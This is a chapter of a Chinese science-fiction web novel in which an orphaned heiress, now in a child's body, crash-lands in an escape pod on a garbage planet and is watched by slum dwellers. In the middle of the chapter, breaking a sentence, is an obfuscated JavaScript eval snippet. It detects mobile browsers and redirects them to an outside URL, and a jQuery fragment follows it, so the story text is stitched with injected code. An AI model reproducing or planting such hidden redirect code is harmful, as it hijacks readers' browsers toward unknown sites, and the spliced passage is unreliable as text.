坐标,帝国南部,古厄坦星系,编号06小行星,河狸区垃圾山。
橙色星影自天际划过,刺开厚重不透光的黑色云层,逃生舱体在引力作用下迅速下坠解体,激烈摩擦空气发出极其刺耳的声音。
“轰——!”
重物撞击之下,堆砌百米高的垃圾山轰然倒塌,尘烟四起,舱体上燃烧的火焰向四周扩散开,火舌触碰到的易燃材料立即变得卷曲焦黑,散发出刺鼻难闻的气味。
住在这一带的居民听到天上传来不寻常的巨大动静,纷纷走出棚户查看具体情况。
今天的河狸区是个阴雨天,浅黄色酸性雨水从万米高空坠落,滴答滴答浇在火焰上,高温灼烧后雾气升腾,发出滋啦滋啦声。
这场及时雨阻止逃生舱继续燃烧,彻底扼制住垃圾山上火势蔓延。
没过多久雨雾散去,隐藏在其中的逃生舱暴露在众人视线中。
圆形舱体外部被烟熏得面目全非看不出原本的颜色,最中心关键部位却依然完好无损。
从那么高的地方砸下来,半点事没有,可见制作逃生舱的材料有多扎实珍贵。
好奇凑过来看热闹的人心里不约而同想着:要是能把这逃生舱回收拆解,应该能卖出个顶好的价钱。
想归想,真正行动的人却没有一个,这些人都在观望。
观望从舱体里出来的人究竟长什么模样。
生长在垃圾星的居民从小就懂得如何将趋利避害发挥到极致。
所有人都在翘首以盼着,他们不敢靠得太近,也不愿意离得太远。
……
时夕在一阵剧烈的晃动中醒来,她感觉自己像是被人强行按在大摆锤上,身体在前面飞,魂在后面追,脑浆都快被摇匀了。
起初她还以为自己是在做梦,努力控制手指弯曲用力掐肉制造痛觉让她回归现实。
无论她使多大力气,掐了半天都没感觉。
时夕松了口气,表情立即放松。
哈哈,果然是在做梦吗?还怪真实的。
她心大地翻个身继续睡。
梦境的真实感还在不断增强,甚至进一步模拟出身体失重疯狂下坠,五脏六腑每处发痒的感觉。
这完全超出了时夕的承受范围了。
她猛地睁开眼,等看清楚她目前面临的状况后一句经典的表达心情的简短话语脱口而出,“我艹!”
此刻的她被禁锢在一个黑暗又狭窄的空间中,可她明明记得睡觉之前是躺在床上的。
时夕首先怀疑是不是她那群不安分的同父异母兄弟姐妹们趁她睡觉时搞得鬼。
三天前,她在角逐激烈的继承人战争中把死老头所有的财产都收入囊中。
其实那些财产也没有多少,一家濒临破产的公司留下的那点东西她还看不上。
百足之虫死而不僵,她发配到国外的“手足”们也许是被逼急了,触底反弹准备同她来个鱼死网破。
可惜没用,她早就进行了遗嘱公正,只要她意外身亡,她名下的财产将会毫无保留地捐赠给公益组织。
至于替和她有血缘关系的亲人们保留的必要份额?不好意思那种过于人道的东西根本不存在,畜生也不配拥有。
从前那群恶心的蹬鼻子上脸的家伙对她这个被继承人下手的证据她都还留着呢。
时夕从小在孤儿院长大,十五岁之前她的生活还算平静。
按部就班的读书,以接近满分的第一名成绩考上全省最好的高中,还被登报表彰,成为孤儿院的骄傲。
十五岁之后,世界上所有倒霉的事情都吻了上来,三天一高空坠物,五天一车祸,针对她的“意外事故”一场接一场,恨不得当天就让她去阎王爷那报道。
好在她的命很硬,成功活到了知道真相的时候。
故事很老套,攀上高枝的凤凰男和单纯善良的富家小姐。
双亲意外去世,凤凰男骗取家产后逐渐暴露真面目,在老家的旧情人带着孩子找上门,养在外面的小三小四小五如雨后春笋般冒出。
身体孱弱的富家小姐受不了打击早产生下孩子撒手人寰,弱得跟小猫崽一样的孩子被“宣告死亡”送入孤儿院。
后来孩子平平安安长大了,优秀得过分亮眼。
看着报纸上那张和原配过于相似的脸,有人心里慌了,忍不住有所行动。
不动还好,一动就让孩子认祖归宗了,不过认的却是死渣男那边的“祖宗”。
经过长达十二年的隐忍蛰伏,原配生的名正言顺的继承人在暗地里白手起家,联手死渣男的对家公司,终于把那家早就快被蛀虫蛀空的公司弄垮台。
该姓换祖宗成功的时夕把身份证复印件甩到和她有血缘关系的生父面前。
死老头盯着那个他摆脱了大半辈子却始终没摆脱掉的姓氏,老嘴一歪,气进了ICU,早就被身边人养烂的身体没撑几天就走了。
时夕大获全胜,她还没来得及好好享受结算的MVP画面呢!
哎呦我去,那群畜给她干到哪里来了,这还是国内吗?
不仅如此,她感觉自己的身体好像也有点不对劲。
时夕视线向下,她视野范围内出现一双陌生的白白胖胖的明显就是小孩子的手。
她下意识地动了动手指,奇怪的事发生了。
那双白胖的小手也跟着动了动,并且运动轨迹和她脑海中预设的一模一样。
时夕不愿面对闭上眼,嗯嗯,应该是错觉,她修长的美手才没有这么短。
错觉个屁啊!她变小了啊!原来是她误会畜生了。
认清现实的时夕用小胖手上上下下搓了把脸,搓出了一种淡淡的苦命感。
果不其然五官也是缩小版的,她准确地摸到了自己右眼眼尾处的小痣。
留给时夕思考的时间不多了。
就在她开始怀疑自己是否还在原来所处的世界时,一阵刺耳的提示音兀然响起。
【滴!滴!滴!%¥*&%@#¥%@】(你好,我是翻译:逃生舱即将着陆,请乘客做好降落准备,保持安全姿势。)
叽里呱啦说啥呢,俺乡下来的听不懂嘞。
按照脑海中储备的网络文学名著相关知识,时夕很快得出结论:
她大抵是穿了。
好家伙,做主角这种好事终于轮到了她身上了吗?也不知道长眠在地下亲娘那边的祖宗们究竟摇了多久的号才把她给送了过来。
时夕表示感恩,并在心里虔诚点上三柱香。
换个地方另起炉灶也好,反正她适应能力强,在哪里都能苟活下去。
话说怎么坠了这么久,还在飘啊。
“轰——!”意外总是来的猝不及防。
面对撞击,时夕没有半点准备,两眼一翻光荣晕了过去。
*
等再次恢复意识,时夕眼冒金星地在四处乱摸一通,不知道触碰到哪个地方,座椅的安全带忽然松开。
逃生舱正以一种刁钻的姿势立在垃圾山上,原本稳定的身体失去束缚与支撑,直接嘎达嘎达圆润地滚了下去。
时夕第一时间收紧双臂护住脑袋,把自己蜷成一团应对危险。
检测到所处环境安全,逃生舱舱门自动打开,虚虚掩着的门被颠簸的时夕无意间一脚踢开。
“啊!啊!啊!痛!痛!痛!”
“啪——!”
伴随一阵包含感情的受击音效,一个圆润的白球从垃圾山上磕磕碰碰滚了下来,啪的一下落进坑坑洼洼的泥水潭中。
白球瞬间变成脏兮兮的泥水灰球,浑身沾满污水,和周围的垃圾浑然一体。
球形物体舒展四肢,围观群众立马后退一步,担心被脏水波及。
时夕忍着剧痛,艰难挣扎着爬起来,一屁股瘫坐在地上。
身体快要散架了,急需止痛膏药和跌打损伤药酒。
时夕半眯着眼适应疼痛,脑子里混混沌沌,思绪乱成一团。
逃生舱里滚下来个小孩,这种事情还是头一回发生。
见小孩眼神呆滞地傻坐着半天没反应,有人捡起脚边的石头朝她砸了过去。
丢石头的人力气小,石头打到时夕,却好死不死掉到水坑里溅了她一脸水。
心情本就烦躁的夕恶狠狠抬眼,寻找砸她罪魁祸首。
直到这时她才发现,不远处有群人用动物园看猴子一样眼神盯着她。
时夕环视一圈,有个小孩对上她的视线时目光瑟缩地往他家长身后躲去。
找到了,那小屁孩还冲她做了个鬼脸。
她看着自己的小身板,无奈擦擦手,打不过,先记着。
时夕对这群人不敢兴趣,她移开视线开始仔细观察这个陌生世界的环境。
昏暗死寂的天空之上阴云密布,化不开的浓云压得极低,光线寥落微弱,没有飞鸟鸣叫,见不到太阳,安静得令人心慌。
低矮天幕之下,目光所及之处,一座接一座的巨型垃圾山绵延望不到尽头,如同阻挡前进脚步的高墙将人包围。
时夕回过头,身后也是垃圾堆。
异世界新手村看起来实着实不太美妙,简直就是一个大型垃圾场。
鼻尖充斥着垃圾独有的酸腐陈旧的恶臭。
手上黏腻湿润的皮肤又痛又痒。
时夕垂眸看着自己的手。
污水没擦干净的手背糊着一层黄褐色的泥巴,下方皮肤红肿明显。
很好,水也不干净。
一道带着臭味的冷风刮过,空气温度骤降,刺骨寒意蔓延全身。
脚下深褐色土壤泥泞不堪,在垃圾山的长期污染下各种重金属元素严重超标,怎么看都不像是能够种植食物的样子。
空气,水源,食物,适宜的温度,人类生存的四个必要条件,一个比一个恶劣。
如果可以,她宁愿当个回收垃圾的机器人,努力向那部动画电影里的励志前辈学习。
可惜没这个条件,现在最重要的任务是活下来。
时夕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094612|195609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有错过这群人眼里的虎视眈眈。
显而易见,他们在觊觎她身后的逃生舱。
这可是她目前唯一的财产,必须得守好。
不过好在,除了最初的那块石头,人群中并没有人表现出攻击性。
时夕从一旁的垃圾堆里抽出一根细细的金属棍作为拐杖,在众人的注视下一瘸一拐地爬上垃圾山。
滚下来仅几秒钟,爬却爬了差不多半个小时。
逃生舱的角度需要调整,不然根本不能成为一个合适的临时庇护所。
她绕着逃生舱走了一圈,估算出大概需要调整的角度,用金属棍一点点拨开舱底乱七八糟的垃圾。
这份工作并不轻松,小孩的身体力气有限,移动垃圾的同时还要时刻注意逃生舱有没有按照预定的角度移动。
小小一个的人就这么一声不吭地独自忙活,没有向其他人求助也没有惊魂未定的哭泣,成熟的一点也不像个不到十岁的孩子。
谁能想到她刚从万米高空落地呢。
*
夜幕即将降临,气温还在持续变低,旁观的人们饶有兴趣地看了一会儿,很快便受不了冷冽风刀散去,原本密集的人群只剩下稀稀拉拉几个还站在原地。
为数不多还在围观的几人中,有三人是一家三口。
丈夫帕劳,妻子方丽,以及他们的今年刚满十岁的孩子托维。
托维就是一开始恶作剧丢石头的小孩,他丢完石头后就被帕劳狠狠地拍了一巴掌脑袋。
身为母亲的方丽代替自己调皮捣蛋的孩子道歉。
不过她说的是星际通用语,只会将普通话的时夕压根就听不懂,理都没理只顾着沉浸在她的未完大业中。
方丽哈了口气搓搓手,见妻子受冻,帕劳把上衣披在她身上建议道:“已经没什么好看的了,回去吧,晚上太冷了。”
托维也在一边吵着回家,他上午从新落区垃圾堆里翻出个好玩的东西还没来得及玩呢。
他不耐烦地扯着方丽的衣袖:“妈妈我想回家,这凶小孩有啥好看的。”
和想走的丈夫儿子不同,方丽的目光一直在垃圾山上那道孤独的小身影和逐渐亮起暖黄灯光的棚户区中逡巡。
这么小一个孩子孤零零的,年龄恐怕还没有托维大。
身边没有父母,又是从逃生舱里爬出来的,流落到这……恐怕已经无家可归了。
察觉妻子徘徊不定的目光,帕劳默默叹了口气。
在垃圾星上生存本就不容易,他们家的条件也只是勉强度日,无论再怎么心软,也不可能再收养个孩子了。
帕劳握住妻子的手,避开她的目光,“走吧,回去找找有没有用不上的东西,等一下叫托维亲自过来赔礼道歉。”
小女孩可怜归可怜,他们能做的大概也只能是送一条闲置薄毯过来,以及半瓶营养液。
方丽脚步依然定在原地,她的目光留恋不舍地落在时夕那头脏乱的头发上。
她之前看到了这孩子头发干净的样子,是罕见的铂金色,多好看的发色呀,翻遍河狸区的垃圾山都不一定能找到同样颜色的物品。
她这些年一直想要个女儿,但她不争气的身体已经不行了,她也知道家里情况,养第二个孩子完全是奢望。
就在她忍痛移开视线时,帕劳轻拍了一下妻子的手背,示意她道:“你看那边。”
方丽顺着他的提示看过去。
两个蹑手蹑脚准备登上垃圾山的男人身后站着一名白发苍苍的老人。
老人腰背挺得笔直,尽管看不见脸,仅凭一个背影就能感受到他刚硬的气质。
老人慢悠悠抬手,搭在两个心怀不轨的男人肩膀上轻轻一扣,两人立即倒下,他一手拽着一只脚,哼着没听过的调子将人拖远消失在夜色里。
方丽辨认出老人的身份,是住在离棚户区还有段距离的季老头。
老人性格孤僻,总是独来独往的,没有人知道他的真实名字。
平时他心情好的时候会帮忙修理一下棚户区居民的小家电,方丽的微波炉就是他修好的。
按理说一个孤苦无依的老头肯定会被喜欢搞小偷小摸的人盯上,狠狠欺凌。
也确实有人这么干了,结果那些人被当众打断了手和腿,在床上躺了三个月。
从此以后再也没有人敢去招惹这脾气古怪的老头。
现在季老头露这一手,显然是告诉在场的人,他要管这小女孩的闲事。
垃圾山下剩下的几人见状,愤恨地撇撇嘴,不甘心地咒骂几句离开。
方丽心里松了几口气,拢了拢衣服牵着儿子转身,“回去吧,托维等一下帮妈妈跑个腿。”
只想着玩的小孩抱怨,“啊……可是我还想……”
“啪”话还没说完他脑袋又被敲了一下,“听妈妈的话!”
“好吧……”
一家三口的声音渐渐飘远。
时夕还在借着远处亮着的微弱光线忙碌着,对身后发生的事情一无所知。